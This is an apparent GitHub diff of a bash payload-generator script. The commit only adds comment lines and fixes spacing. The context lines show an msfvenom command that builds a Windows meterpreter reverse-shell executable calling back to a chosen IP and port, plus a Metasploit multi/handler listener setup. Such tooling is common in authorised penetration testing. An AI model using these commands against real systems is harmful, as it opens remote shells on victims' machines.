File tree 1 file changed +3
-1
lines changed
1 file changed +3
-1
lines changed Original file line number Diff line number Diff line change @@ -66,7 +66,9 @@ function doAction {
66
66
# echo -e " ${YELLOW}[i]${RESET} SHA1: $(sha1sum ${FILENAME} | awk '{print $1}')"
67
67
68
68
cat << EOF > "${FILEHANDLE} "
69
+ #
69
70
# RUN: service postgresql start; service metasploit start; msfconsole -q -r "${FILENAME} "
71
+ #
70
72
setg TimestampOutput true
71
73
setg VERBOSE true
72
74
use exploit/multi/handler
@@ -149,7 +151,7 @@ elif [[ "${TYPE}" == "windows" ]] || [[ "${TYPE}" == "win" ]] || [[ "${TYPE}" ==
149
151
CMD=" msfvenom --payload ${PAYLOAD} --format exe --platform ${TYPE} --arch x86 LHOST=${IP} LPORT=${PORT} -o ${outputPath}${TYPE} _meterpreter.${FILEEXT} "
150
152
doAction " Windows" " ${IP} " " ${PORT} " " ${PAYLOAD} " " ${CMD} " " ${FILEEXT} "
151
153
elif [[ -z " ${TYPE} " ]]; then
152
- echo -e " \n ${YELLOW} [i]${RESET} ${YELLOW} Missing type${RESET} "
154
+ echo -e " \n ${YELLOW} [i]${RESET} ${YELLOW} Missing type${RESET} "
153
155
else
154
156
echo -e " \n ${YELLOW} [i]${RESET} Unknown type: ${YELLOW}${TYPE}${RESET} "
155
157
fi
You can’t perform that action at this time.
0 commit comments